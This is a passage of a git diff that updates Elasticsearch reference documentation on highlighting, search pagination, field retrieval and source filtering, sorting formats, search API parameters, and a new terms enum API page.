multifields that analyze the same string in different -ways. All `matched_fields` must have `term_vector` set to +ways. All `matched_fields` must have `term_vector` set to `with_positions_offsets`, but only the field to which the matches are combined is loaded so only that field benefits from having `store` set to `yes`. Only valid for the `fvh` highlighter. @@ -216,7 +216,7 @@ handy when you need to highlight short texts such as a title or address, but fragmentation is not required. If `number_of_fragments` is 0, `fragment_size` is ignored. Defaults to 5. -order:: Sorts highlighted fragments by score when set to `score`. By default, +order:: Sorts highlighted fragments by score when set to `score`. By default, fragments will be output in the order they appear in the field (order: `none`). Setting this option to `score` will output the most relevant fragments first. Each highlighter applies its own logic to compute relevancy scores. See @@ -527,8 +527,8 @@ GET /_search WARNING: This is only supported by the `fvh` highlighter The Fast Vector Highlighter can combine matches on multiple fields to -highlight a single field. This is most intuitive for multifields that -analyze the same string in different ways. All `matched_fields` must have +highlight a single field. This is most intuitive for multifields that +analyze the same string in different ways. All `matched_fields` must have `term_vector` set to `with_positions_offsets` but only the field to which the matches are combined is loaded so only that field would benefit from having `store` set to `yes`. @@ -622,7 +622,7 @@ it is just fine not to list the field to which the matches are combined [NOTE] Technically it is also fine to add fields to `matched_fields` that don't share the same underlying string as the field to which the matches -are combined. The results might not make much sense and if one of the +are combined. The results might not make much sense and if one of the matches is off the end of the text then the whole query will fail. [NOTE] @@ -658,7 +658,7 @@ to [discrete] == Explicitly order highlighted fields Elasticsearch highlights the fields in the order that they are sent, but per the -JSON spec, objects are unordered. If you need to be explicit about the order +JSON spec, objects are unordered. If you need to be explicit about the order in which fields are highlighted specify the `fields` as an array: [source,console] @@ -864,7 +864,8 @@ Response: "_id": "1", "_score": 1.6011951, "_source": { - "message": "some message with the number 1" + "message": "some message with the number 1", + "context": "bar" }, "highlight": { "message": [ @@ -918,7 +919,8 @@ Response: "_id": "1", "_score": 1.6011951, "_source": { - "message": "some message with the number 1" + "message": "some message with the number 1", + "context": "bar" }, "highlight": { "message": [ diff --git a/docs/reference/search/search-your-data/long-running-searches.asciidoc b/docs/reference/search/search-your-data/long-running-searches.asciidoc index 6f7cf70365241..7a2af03895738 100644 --- a/docs/reference/search/search-your-data/long-running-searches.asciidoc +++ b/docs/reference/search/search-your-data/long-running-searches.asciidoc @@ -5,7 +5,7 @@ {es} generally allows you to quickly search across big amounts of data. There are situations where a search executes on many shards, possibly against -<> and spanning multiple +<> and spanning multiple <>, for which results are not expected to be returned in milliseconds. When you need to execute long-running searches, synchronously diff --git a/docs/reference/search/search-your-data/paginate-search-results.asciidoc b/docs/reference/search/search-your-data/paginate-search-results.asciidoc index 761e6581c223f..6f2d6bd1e1a8a 100644 --- a/docs/reference/search/search-your-data/paginate-search-results.asciidoc +++ b/docs/reference/search/search-your-data/paginate-search-results.asciidoc @@ -81,6 +81,12 @@ NOTE: Search after requests have optimizations that make them faster when the so order is `_shard_doc` and total hits are not tracked. If you want to iterate over all documents regardless of the order, this is the most efficient option. +IMPORTANT: If the `sort` field is a <> in some target data streams or indices +but a <> field in other targets, use the `numeric_type` parameter +to convert the values to a single resolution and the `format` parameter to specify a +<> for the `sort` field. Otherwise, {es} won't interpret +the search after parameter correctly in each request. + [source,console] ---- GET /_search @@ -96,7 +102,7 @@ GET /_search "keep_alive": "1m" }, "sort": [ <2> - {"@timestamp": "asc"} + {"@timestamp": {"order": "asc", "format": "strict_date_optional_time_nanos", "numeric_type" : "date_nanos" }} ] } ---- @@ -107,7 +113,7 @@ GET /_search The search response includes an array of `sort` values for each hit. If you used a PIT, a tiebreaker is included as the last `sort` values for each hit. -This tiebreaker called `_shard_doc` is added automically on every search requests that use a PIT. +This tiebreaker called `_shard_doc` is added automatically on every search requests that use a PIT. The `_shard_doc` value is the combination of the shard index within the PIT and the Lucene's internal doc ID, it is unique per document and constant within a PIT. You can also add the tiebreaker explicitly in the search request to customize the order: @@ -127,7 +133,7 @@ GET /_search "keep_alive": "1m" }, "sort": [ <2> - {"@timestamp": "asc"}, + {"@timestamp": {"order": "asc", "format": "strict_date_optional_time_nanos"}}, {"_shard_doc": "desc"} ] } @@ -156,7 +162,7 @@ GET /_search "_score" : null, "_source" : ..., "sort" : [ <2> - 4098435132000, + "2021-05-20T05:30:04.832Z", 4294967298 <3> ] } @@ -190,10 +196,10 @@ GET /_search "keep_alive": "1m" }, "sort": [ - {"@timestamp": "asc"} + {"@timestamp": {"order": "asc", "format": "strict_date_optional_time_nanos"}} ], "search_after": [ <2> - 4098435132000, + "2021-05-20T05:30:04.832Z", 4294967298 ], "track_total_hits": false <3> @@ -261,7 +267,7 @@ JavaScript:: ********************************************* NOTE: The results that are returned from a scroll request reflect the state of -the data stream or index at the time that the initial `search` request was made, like a +the data stream or index at the time that the initial `search` request was made, like a snapshot in time. Subsequent changes to documents (index, update or delete) will only affect later search requests. @@ -304,7 +310,7 @@ POST /_search/scroll <3> The `scroll_id` parameter The `size` parameter allows you to configure the maximum number of hits to be -returned with each batch of results. Each call to the `scroll` API returns the +returned with each batch of results. Each call to the `scroll` API returns the next batch of results until there are no more results left to return, ie the `hits` array is empty. @@ -345,7 +351,7 @@ request) tells Elasticsearch how long it should keep the search context alive. Its value (e.g. `1m`, see <>) does not need to be long enough to process all data -- it just needs to be long enough to process the previous batch of results. Each `scroll` request (with the `scroll` parameter) sets a -new expiry time. If a `scroll` request doesn't pass in the `scroll` +new expiry time. If a `scroll` request doesn't pass in the `scroll` parameter, then the search context will be freed as part of _that_ `scroll` request. diff --git a/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc b/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc index 304a4567dd5f7..c630ab5dd8e06 100644 --- a/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc +++ b/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc @@ -6,71 +6,57 @@ By default, each hit in the search response includes the document <>, which is the entire JSON object that was -provided when indexing the document. To retrieve specific fields in the search -response, you can use the `fields` parameter: +provided when indexing the document. There are two recommended methods to +retrieve selected fields from a search query: -[source,console] ----- -POST my-index-000001/_search -{ - "query": { - "match": { - "message": "foo" - } - }, - "fields": ["user.id", "@timestamp"], - "_source": false -} ----- -// TEST[setup:my_index] +* Use the <> to extract the values of +fields present in the index mapping +* Use the <> if you need to access the original data that was passed at index time -The `fields` parameter consults both a document's `_source` and the index -mappings to load and return values. Because it makes use of the mappings, -`fields` has some advantages over referencing the `_source` directly: it -accepts <> and <>, and -also formats field values like dates in a consistent way. - -A document's `_source` is stored as a single field in Lucene. So the whole -`_source` object must be loaded and parsed even if only a small number of -fields are requested. To avoid this limitation, you can try another option for -loading fields: - -* Use the <> -parameter to get values for selected fields. This can be a good -choice when returning a fairly small number of fields that support doc values, -such as keywords and dates. -* Use the <> parameter to -get the values for specific stored fields (fields that use the -<> mapping option). - -If needed, you can use the <> parameter to -transform field values in the response using a script. However, scripts can’t -make use of {es}'s index structures or related optimizations. This can sometimes -result in slower search speeds. - -You can find more detailed information on each of these methods in the -following sections: - -* <> -* <> -* <> -* <> -* <> +You can use both of these methods, though the `fields` option is preferred +because it consults both the document data and index mappings. In some +instances, you might want to use <> of +retrieving data. [discrete] [[search-fields-param]] -=== Fields -beta::[] - -The `fields` parameter allows for retrieving a list of document fields in -the search response. It consults both the document `_source` and the index -mappings to return each value in a standardized way that matches its mapping -type. By default, date fields are formatted according to the -<> parameter in their mappings. +=== The `fields` option +To retrieve specific fields in the search response, use the `fields` parameter. +// tag::fields-param-desc[] +Because it consults the index mappings, the `fields` parameter provides several +advantages over referencing the `_source` directly. Specifically, the `fields` +parameter: + +* Returns each value in a standardized way that matches its mapping type +* Accepts <> and <> +* Formats dates and spatial data types +* Retrieves <> +* Returns fields calculated by a script at index time +// end::fields-param-desc[] + +Other mapping options are also respected, including +<>, <>, and +<>. + +The `fields` option returns values in the way that matches how {es} indexes +them. For standard fields, this means that the `fields` option looks in +`_source` to find the values, then parses and formats them using the mappings. +[discrete] +[[search-fields-request]] +==== Search for specific fields The following search request uses the `fields` parameter to retrieve values for the `user.id` field, all fields starting with `http.response.`, and the -`@timestamp` field: +`@timestamp` field. + +Using object notation, you can pass a `format` parameter for certain fields to +apply a custom format for the field's values: + +* <> and <> fields accept a <> +* <> accept either `geojson` for http://www.geojson.org[GeoJSON] (the default) or `wkt` for +{wikipedia}/Well-known_text_representation_of_geometry[Well Known Text] + +Other field types do not support the `format` parameter. [source,console] ---- @@ -83,7 +69,7 @@ POST my-index-000001/_search }, "fields": [ "user.id", - "http.response.*", <1> + "http.response.*", <1> { "field": "@timestamp", "format": "epoch_millis" <2> @@ -93,30 +79,31 @@ POST my-index-000001/_search } ---- // TEST[setup:my_index] +// TEST[s/_search/_search\?filter_path=hits/] +// tag::fields-param-callouts[] <1> Both full field names and wildcard patterns are accepted. -<2> Using object notation, you can pass a `format` parameter to apply a custom - format for the field's values. The date fields - <> and <> accept a - <>. <> - accept either `geojson` for http://www.geojson.org[GeoJSON] (the default) - or `wkt` for - {wikipedia}/Well-known_text_representation_of_geometry[Well Known Text]. - Other field types do not support the `format` parameter. +<2> Use the `format` parameter to apply a custom format for the field's values. +// end::fields-param-callouts[] -The values are returned as a flat list in the `fields` section in each hit: +[discrete] +[[search-fields-response]] +==== Response always returns an array + +The `fields` response always returns an array of values for each field, +even when there is a single value in the `_source`. This is because {es} has +no dedicated array type, and any field could contain multiple values. The +`fields` parameter also does not guarantee that array values are returned in +a specific order. See the mapping documentation on <> for more +background. + +The response includes values as a flat list in the `fields` section for each +hit. Because the `fields` parameter doesn't fetch entire objects, only leaf +fields are returned. [source,console-result] ---- { - "took" : 2, - "timed_out" : false, - "_shards" : { - "total" : 1, - "successful" : 1, - "skipped" : 0, - "failed" : 0 - }, "hits" : { "total" : { "value" : 1, @@ -147,29 +134,12 @@ The values are returned as a flat list in the `fields` section in each hit: } } ---- -// TESTRESPONSE[s/"took" : 2/"took": $body.took/] // TESTRESPONSE[s/"max_score" : 1.0/"max_score" : $body.hits.max_score/] // TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/] -Only leaf fields are returned -- `fields` does not allow for fetching entire -objects. - -The `fields` parameter handles field types like <> and -<> whose values aren't always present in -the `_source`. Other mapping options are also respected, including -<>, <> and -<>. - -NOTE: The `fields` response always returns an array of values for each field, -even when there is a single value in the `_source`. This is because {es} has -no dedicated array type, and any field could contain multiple values. The -`fields` parameter also does not guarantee that array values are returned in -a specific order. See the mapping documentation on <> for more -background. - [discrete] [[search-fields-nested]] -==== Handling of nested fields +==== Retrieve nested fields The `fields` response for <> is slightly different from that of regular object fields. While leaf values inside regular `object` fields are @@ -222,7 +192,7 @@ POST my-index-000001/_search } -------------------------------------------------- -the response will group `first` and `last` name instead of +The response will group `first` and `last` name instead of returning them as a flat list. [source,console-result] @@ -266,8 +236,9 @@ returning them as a flat list. // TESTRESPONSE[s/"max_score" : 1.0/"max_score" : $body.hits.max_score/] // TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/] -Nested fields will be grouped by their nested paths, no matter the pattern used to retrieve them. -For example, querying only for the `user.first` field in the example above: +Nested fields will be grouped by their nested paths, no matter the pattern used +to retrieve them. For example, if you query only for the `user.first` field from +the previous example: [source,console] -------------------------------------------------- @@ -279,7 +250,8 @@ POST my-index-000001/_search -------------------------------------------------- // TEST[continued] -will return only the users first name but still maintain the structure of the nested `user` array: +The response returns only the user's first name, but still maintains the +structure of the nested `user` array: [source,console-result] ---- @@ -320,19 +292,19 @@ will return only the users first name but still maintain the structure of the ne // TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/] However, when the `fields` pattern targets the nested `user` field directly, no -values will be returned since the pattern doesn't match any leaf fields. +values will be returned because the pattern doesn't match any leaf fields. [discrete] [[retrieve-unmapped-fields]] -==== Retrieving unmapped fields +==== Retrieve unmapped fields +By default, the `fields` parameter returns only values of mapped fields. +However, {es} allows storing fields in `_source` that are unmapped, such as +setting <> to `false` or by using +an object field with `enabled: false`. These options disable parsing and +indexing of the object content. -By default, the `fields` parameter returns only values of mapped fields. However, -Elasticsearch allows storing fields in `_source` that are unmapped, for example by -setting <> to `false` or by using an -object field with `enabled: false`, thereby disabling parsing and indexing of its content. - -Fields in such an object can be retrieved from `_source` using the `include_unmapped` option -in the `fields` section: +To retrieve unmapped fields in an object from `_source`, use the +`include_unmapped` option in the `fields` section: [source,console] ---- @@ -369,9 +341,10 @@ POST my-index-000001/_search <1> Disable all mappings. <2> Include unmapped fields matching this field pattern. -The response will contain fields results under the `session_data.object.*` path even if the -fields are unmapped, but will not contain `user_id` since it is unmapped but the `include_unmapped` -flag hasn't been set to `true` for that field pattern. +The response will contain field results under the `session_data.object.*` path, +even if the fields are unmapped. The `user_id` field is also unmapped, but it +won't be included in the response because `include_unmapped` isn't set to +`true` for that field pattern. [source,console-result] ---- @@ -409,9 +382,122 @@ flag hasn't been set to `true` for that field pattern. // TESTRESPONSE[s/"max_score" : 1.0/"max_score" : $body.hits.max_score/] // TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/] +[discrete] +[[source-filtering]] +=== The `_source` option +You can use the `_source` parameter to select what fields of the source are +returned. This is called _source filtering_. + +The following search API request sets the `_source` request body parameter to +`false`. The document source is not included in the response. + +[source,console] +---- +GET /_search +{ + "_source": false, + "query": { + "match": { + "user.id": "kimchy" + } + } +} +---- + +To return only a subset of source fields, specify a wildcard (`*`) pattern in +the `_source` parameter. The following search API request returns the source for +only the `obj` field and its properties. + +[source,console] +---- +GET /_search +{ + "_source": "obj.*", + "query": { + "match": { + "user.id": "kimchy" + } + } +} +---- + +You can also specify an array of wildcard patterns in the `_source` field. The +following search API request returns the source for only the `obj1` and +`obj2` fields and their properties. + +[source,console] +---- +GET /_search +{ + "_source": [ "obj1.*", "obj2.*" ], + "query": { + "match": { + "user.id": "kimchy" + } + } +} +---- + +For finer control, you can specify an object containing arrays of `includes` and +`excludes` patterns in the `_source` parameter. + +If the `includes` property is specified, only source fields that match one of +its patterns are returned. You can exclude fields from this subset using the +`excludes` property. + +If the `includes` property is not specified, the entire document source is +returned, excluding any fields that match a pattern in the `excludes` property. + +The following search API request returns the source for only the `obj1` and +`obj2` fields and their properties, excluding any child `description` fields. + +[source,console] +---- +GET /_search +{ + "_source": { + "includes": [ "obj1.*", "obj2.*" ], + "excludes": [ "*.description" ] + }, + "query": { + "term": { + "user.id": "kimchy" + } + } +} +---- + +[discrete] +[[field-retrieval-methods]] +=== Other methods of retrieving data + +.Using `fields` is typically better +**** +These options are usually not required. Using the `fields` option is typically +the better choice, unless you absolutely need to force loading a stored or +`docvalue_fields`. +**** + +A document's `_source` is stored as a single field in Lucene. This structure +means that the whole `_source` object must be loaded and parsed even if you're +only requesting part of it. To avoid this limitation, you can try other options +for loading fields: + +* Use the <> +parameter to get values for selected fields. This can be a good +choice when returning a fairly small number of fields that support doc values, +such as keywords and dates. +* Use the <> parameter to +get the values for specific stored fields (fields that use the +<> mapping option). + +{es} always attempts to load values from `_source`. This behavior has the same +implications of source filtering where {es} needs to load and parse the entire +`_source` to retrieve just one field. + [discrete] [[docvalue-fields]] -=== Doc value fields +==== Doc value fields You can use the <> parameter to return <> for one or more fields in the search response. @@ -465,7 +551,7 @@ property. [discrete] [[stored-fields]] -=== Stored fields +==== Stored fields It's also possible to store an individual field's values by using the <> mapping option. You can use the @@ -519,7 +605,7 @@ must be used within an <> block. [discrete] [[disable-stored-fields]] -==== Disable stored fields +===== Disable stored fields To disable the stored fields (and metadata fields) entirely use: `_none_`: @@ -536,95 +622,9 @@ GET /_search NOTE: <> and <> parameters cannot be activated if `_none_` is used. -[discrete] -[[source-filtering]] -=== Source filtering - -You can use the `_source` parameter to select what fields of the source are -returned. This is called _source filtering_. - -The following search API request sets the `_source` request body parameter to -`false`. The document source is not included in the response. - -[source,console] ----- -GET /_search -{ - "_source": false, - "query": { - "match": { - "user.id": "kimchy" - } - } -} ----- - -To return only a subset of source fields, specify a wildcard (`*`) pattern in -the `_source` parameter. The following search API request returns the source for -only the `obj` field and its properties. - -[source,console] ----- -GET /_search -{ - "_source": "obj.*", - "query": { - "match": { - "user.id": "kimchy" - } - } -} ----- - -You can also specify an array of wildcard patterns in the `_source` field. The -following search API request returns the source for only the `obj1` and -`obj2` fields and their properties. - -[source,console] ----- -GET /_search -{ - "_source": [ "obj1.*", "obj2.*" ], - "query": { - "match": { - "user.id": "kimchy" - } - } -} ----- - -For finer control, you can specify an object containing arrays of `includes` and -`excludes` patterns in the `_source` parameter. - -If the `includes` property is specified, only source fields that match one of -its patterns are returned. You can exclude fields from this subset using the -`excludes` property. - -If the `includes` property is not specified, the entire document source is -returned, excluding any fields that match a pattern in the `excludes` property. - -The following search API request returns the source for only the `obj1` and -`obj2` fields and their properties, excluding any child `description` fields. - -[source,console] ----- -GET /_search -{ - "_source": { - "includes": [ "obj1.*", "obj2.*" ], - "excludes": [ "*.description" ] - }, - "query": { - "term": { - "user.id": "kimchy" - } - } -} ----- - [discrete] [[script-fields]] -=== Script fields +==== Script fields You can use the `script_fields` parameter to retrieve a <> (based on different fields) for each hit. For example: @@ -668,16 +668,16 @@ Here is an example: [source,console] -------------------------------------------------- GET /_search - { - "query" : { - "match_all": {} - }, - "script_fields" : { - "test1" : { - "script" : "params['_source']['message']" - } - } +{ + "query": { + "match_all": {} + }, + "script_fields": { + "test1": { + "script": "params['_source']['message']" } + } +} -------------------------------------------------- // TEST[setup:my_index] diff --git a/docs/reference/search/search-your-data/search-across-clusters.asciidoc b/docs/reference/search/search-your-data/search-across-clusters.asciidoc index 52384f7fe3917..703eac88d1d07 100644 --- a/docs/reference/search/search-your-data/search-across-clusters.asciidoc +++ b/docs/reference/search/search-your-data/search-across-clusters.asciidoc @@ -14,9 +14,11 @@ IMPORTANT: {ccs-cap} requires <>. The following APIs support {ccs}: * <> +* <> * <> * <> * <> +* <> [discrete] [[ccs-example]] @@ -420,3 +422,7 @@ cluster. WARNING: Running multiple versions of {es} in the same cluster beyond the duration of an upgrade is not supported. + +Only features that exist across all searched clusters are supported. Using +a recent feature with a remote cluster where the feature is not supported +will result in undefined behavior. diff --git a/docs/reference/search/search-your-data/search-multiple-indices.asciidoc b/docs/reference/search/search-your-data/search-multiple-indices.asciidoc index 473028b0decd0..c257de0af96e8 100644 --- a/docs/reference/search/search-your-data/search-multiple-indices.asciidoc +++ b/docs/reference/search/search-your-data/search-multiple-indices.asciidoc @@ -98,7 +98,7 @@ GET /_search -------------------------------------------------- // TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/] -Index aliases and index patterns can also be used: +Aliases and index patterns can also be used: [source,console] -------------------------------------------------- diff --git a/docs/reference/search/search-your-data/search-your-data.asciidoc b/docs/reference/search/search-your-data/search-your-data.asciidoc index 18214e359fd64..d185ee5970d54 100644 --- a/docs/reference/search/search-your-data/search-your-data.asciidoc +++ b/docs/reference/search/search-your-data/search-your-data.asciidoc @@ -22,7 +22,7 @@ a specific number of results. [discrete] [[run-an-es-search]] -== Run a search +=== Run a search You can use the <> to search and <> data stored in {es} data streams or indices. @@ -101,9 +101,9 @@ The API response returns the top 10 documents matching the query in the [discrete] [[run-search-runtime-fields]] -== Define fields that exist only in a query +=== Define fields that exist only in a query Instead of indexing your data and then searching it, you can define -<>beta:[] that only exist as part of your +<> that only exist as part of your search query. You specify a `runtime_mappings` section in your search request to define the runtime field, which can optionally include a Painless script. @@ -220,7 +220,7 @@ _synchronous_ by default. The search request waits for complete results before returning a response. However, complete results can take longer for searches across -<> or <> or <>. To avoid long waits, you can run an _asynchronous_, or _async_, search @@ -232,12 +232,15 @@ results for a long-running search now and get complete results later. === Search timeout By default, search requests don't time out. The request waits for complete -results before returning a response. +results from each shard before returning a response. While <> is designed for long-running searches, you can also use the `timeout` parameter to specify a duration you'd -like to wait for a search to complete. If no response is received before this -period ends, the request fails and returns an error. +like to wait on each shard to complete. Each shard collects hits within the +specified time period. If collection isn't finished when the period ends, {es} +uses only the hits accumulated up to that point. The overall latency of a search +request depends on the number of shards needed for the search and the number of +concurrent shard requests. [source,console] ---- diff --git a/docs/reference/search/search-your-data/sort-search-results.asciidoc b/docs/reference/search/search-your-data/sort-search-results.asciidoc index cc54d21e59d08..be0da5ca51300 100644 --- a/docs/reference/search/search-your-data/sort-search-results.asciidoc +++ b/docs/reference/search/search-your-data/sort-search-results.asciidoc @@ -31,7 +31,7 @@ PUT /my-index-000001 GET /my-index-000001/_search { "sort" : [ - { "post_date" : {"order" : "asc"}}, + { "post_date" : {"order" : "asc", "format": "strict_date_optional_time_nanos"}}, "user", { "name" : "desc" }, { "age" : "desc" }, @@ -51,8 +51,25 @@ should sort by `_doc`. This especially helps when <> for the `sort` +values of <> and <> fields. The following +search returns `sort` values for the `post_date` field in the +`strict_date_optional_time_nanos` format. + +[source,console] +-------------------------------------------------- +GET /my-index-000001/_search +{ + "sort" : [ + { "post_date" : {"format": "strict_date_optional_time_nanos"}} + ], + "query" : { + "term" : { "user" : "kimchy" } + } +} +-------------------------------------------------- +// TEST[continued] [discrete] === Sort Order @@ -80,7 +97,7 @@ to. The `mode` option can have the following values: number based array fields. `avg`:: Use the average of all values as sort value. Only applicable for number based array fields. -`median`:: Use the median of all values as sort value. Only applicable +`median`:: Use the median of all values as sort value. Only applicable for number based array fields. The default sort mode in the ascending sort order is `min` -- the lowest value diff --git a/docs/reference/search/search.asciidoc b/docs/reference/search/search.asciidoc index 36f407b4aaef3..4f17b6cf2e6d7 100644 --- a/docs/reference/search/search.asciidoc +++ b/docs/reference/search/search.asciidoc @@ -28,7 +28,10 @@ GET /my-index-000001/_search * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. For cross-cluster search, see <>. +or alias. For cross-cluster search, see <>. ++ +To search a <> for an alias, you +must have the `read` index privilege for the alias's data streams or indices. [[search-search-api-desc]] ==== {api-description-title} @@ -41,12 +44,9 @@ query string parameter>> or <>. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams and indices, omit +this parameter or use `*` or `_all`. [role="child_attributes"] [[search-search-api-query-params]] @@ -63,7 +63,7 @@ Defaults to `true`. [[search-partial-responses]] `allow_partial_search_results`:: (Optional, Boolean) -If `true`, returns partial results if there are request timeouts or +If `true`, returns partial results if there are shard request timeouts or <>. If `false`, returns an error with no partial results. Defaults to `true`. + @@ -284,7 +284,7 @@ Defaults to `0`, which does not terminate query execution early. `timeout`:: (Optional, <>) Specifies the period of time to wait -for a response. If no response is received before the timeout expires, the +for a response from each shard. If no response is received before the timeout expires, the request fails and returns an error. Defaults to no timeout. `track_scores`:: @@ -331,7 +331,7 @@ pattern. (Optional, string) Format in which the doc values are returned. + -For <>, you can specify a date <>, you can specify a date <>. For <> fields, you can specify a https://docs.oracle.com/javase/8/docs/api/java/text/DecimalFormat.html[DecimalFormat pattern]. @@ -401,44 +401,109 @@ A boost value greater than `1.0` increases the score. A boost value between Minimum <> for matching documents. Documents with a lower `_score` are not included in the search results. +`pit`:: +(Optional, object) +Limits the search to a <>. If you provide +a `pit`, you cannot specify a `` in the request path. ++ +.Properties of `pit` +[%collapsible%open] +==== +`id`:: +(Required*, string) +ID for the PIT to search. If you provide a `pit` object, this parameter is +required. + +`keep_alive`:: +(Optional, <>) +Period of time used to extend the life of the PIT. +==== + [[request-body-search-query]] `query`:: (Optional, <>) Defines the search definition using the <>. [[search-api-body-runtime]] +// tag::runtime-mappings-def[] `runtime_mappings`:: -(Optional, object) -Defines a <> in the search request that -exist only as part of the query. Fields defined in the search request take -precedence over fields defined with the same name in the index mappings. +(Optional, object of objects) +Defines one or more <> in the search +request. These fields take precedence over mapped fields with the same name. + .Properties of `runtime_mappings` objects [%collapsible%open] ==== + +``:: +(Required, object) +Configuration for the runtime field. The key is the field name. ++ +.Properties of `` +[%collapsible%open] +===== + `type`:: (Required, string) -<> of the object, which can be any of the following: +<>, which can be any of the following: + include::{es-ref-dir}/mapping/runtime.asciidoc[tag=runtime-data-types] `script`:: (Optional, string) -<> that is executed at query time. The +<> executed at query time. The script has access to the entire context of a document, including the original `_source` and any mapped fields plus their values. + -Your script must include `emit` to return calculated values. For -example: +This script must include `emit` to return calculated values. For example: + -[source,js] +[source,js,indent=0] ---- -"script": { - "source": "emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))" - } +include::search.asciidoc[tag=runtime-script] ---- // NOTCONSOLE + +===== ==== +// end::runtime-mappings-def[] + +//// +[source,console] +---- +POST _search?size=1&filter_path=hits.hits +{ + "runtime_mappings": { + "dow": { + "type": "keyword", + // tag::runtime-script[] + "script": "emit(doc['@timestamp'].value.dayOfWeekEnum.toString())" + // end::runtime-script[] + } + }, + "fields": [{"field": "dow"}] +} +---- +// TEST[setup:my_index] + +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_index": $body.hits.hits.0._index, + "_id": $body.hits.hits.0._id, + "_score": $body.hits.hits.0._score, + "_source": $body.hits.hits.0._source, + "fields": { + "dow": ["SUNDAY"] + } + } + ] + } +} +---- +//// [[request-body-search-seq-no-primary-term]] `seq_no_primary_term`:: @@ -510,7 +575,7 @@ Defaults to `0`, which does not terminate query execution early. `timeout`:: (Optional, <>) Specifies the period of time to wait -for a response. If no response is received before the timeout expires, the +for a response from each shard. If no response is received before the timeout expires, the request fails and returns an error. Defaults to no timeout. [[request-body-search-version]] @@ -692,7 +757,7 @@ Key is the field name. Value is the value for the field. [source,console] ---- -GET /my-index-000001/_search +GET /my-index-000001/_search?from=40&size=20 { "query": { "term": { @@ -702,6 +767,7 @@ GET /my-index-000001/_search } ---- // TEST[setup:my_index] +// TEST[s/\?from=40&size=20//] The API returns the following response: @@ -718,7 +784,7 @@ The API returns the following response: }, "hits": { "total": { - "value": 1, + "value": 20, "relation": "eq" }, "max_score": 1.3862942, @@ -747,9 +813,12 @@ The API returns the following response: "id": "kimchy" } } - } + }, + ... ] } } ---- // TESTRESPONSE[s/"took": 5/"took": $body.took/] +// TESTRESPONSE[s/"value": 20,/"value": 1,/] +// TESTRESPONSE[s/,\n \.\.\.//] diff --git a/docs/reference/search/suggesters/completion-suggest.asciidoc b/docs/reference/search/suggesters/completion-suggest.asciidoc index 5f590b0fe6301..0ba27e7d90742 100644 --- a/docs/reference/search/suggesters/completion-suggest.asciidoc +++ b/docs/reference/search/suggesters/completion-suggest.asciidoc @@ -377,7 +377,7 @@ The following parameters are supported: If `true`, all measurements (like fuzzy edit distance, transpositions, and lengths) are measured in Unicode code points instead of - in bytes. This is slightly slower than raw + in bytes. This is slightly slower than raw bytes, so it is set to `false` by default. NOTE: If you want to stick with the default values, but @@ -418,6 +418,6 @@ The following parameters are supported: Regular expressions are dangerous because it's easy to accidentally create an innocuous looking one that requires an exponential number of internal determinized automaton states (and corresponding RAM and CPU) - for Lucene to execute. Lucene prevents these using the - `max_determinized_states` setting (defaults to 10000). You can raise + for Lucene to execute. Lucene prevents these using the + `max_determinized_states` setting (defaults to 10000). You can raise this limit to allow more complex regular expressions to execute. diff --git a/docs/reference/search/suggesters/phrase-suggest.asciidoc b/docs/reference/search/suggesters/phrase-suggest.asciidoc index dfece161e25b5..921510b2ad5ba 100644 --- a/docs/reference/search/suggesters/phrase-suggest.asciidoc +++ b/docs/reference/search/suggesters/phrase-suggest.asciidoc @@ -165,7 +165,7 @@ The response contains suggestions scored by the most likely spelling correction accepts a float value in the range `[0..1)` as a fraction of the actual query terms or a number `>=1` as an absolute number of query terms. The default is set to `1.0`, meaning only corrections with - at most one misspelled term are returned. Note that setting this too high + at most one misspelled term are returned. Note that setting this too high can negatively impact performance. Low values like `1` or `2` are recommended; otherwise the time spend in suggest calls might exceed the time spend in query execution. @@ -195,10 +195,10 @@ The response contains suggestions scored by the most likely spelling correction Sets the text / query to provide suggestions for. `highlight`:: - Sets up suggestion highlighting. If not provided then - no `highlighted` field is returned. If provided must + Sets up suggestion highlighting. If not provided then + no `highlighted` field is returned. If provided must contain exactly `pre_tag` and `post_tag`, which are - wrapped around the changed tokens. If multiple tokens + wrapped around the changed tokens. If multiple tokens in a row are changed the entire phrase of changed tokens is wrapped rather than each token. @@ -209,7 +209,7 @@ The response contains suggestions scored by the most likely spelling correction been generated from. The `query` must be specified and it can be templated, see <> for more information. The current suggestion is automatically made available as the `{{suggestion}}` - variable, which should be used in your query. You can still specify + variable, which should be used in your query. You can still specify your own template `params` -- the `suggestion` value will be added to the variables you specify. Additionally, you can specify a `prune` to control if all phrase suggestions will be returned; when set to `true` the suggestions diff --git a/docs/reference/search/terms-enum.asciidoc b/docs/reference/search/terms-enum.asciidoc new file mode 100644 index 0000000000000..4fc997ecdbdd1 --- /dev/null +++ b/docs/reference/search/terms-enum.asciidoc @@ -0,0 +1,105 @@ +[[search-terms-enum]] +=== Terms enum API +++++ +Terms enum +++++ + +The terms enum API can be used to discover terms in the index that match +a partial string. This is used for auto-complete: + +[source,console] +-------------------------------------------------- +POST stackoverflow/_terms_enum +{ + "field" : "tags", + "string" : "kiba" +} +-------------------------------------------------- +// TEST[setup:stackoverflow] + + +The API returns the following response: + +[source,console-result] +-------------------------------------------------- +{ + "_shards": { + "total": 1, + "successful": 1, + "failed": 0 + }, + "terms": [ + "kibana" + ], + "complete" : true +} +-------------------------------------------------- + +The "complete" flag is false if time or space constraints were met and the +set of terms examined was not the full set of available values. + +[[search-terms-enum-api-request]] +==== {api-request-title} + +`GET //_terms_enum` + + +[[search-terms-enum-api-desc]] +==== {api-description-title} + +The terms_enum API can be used 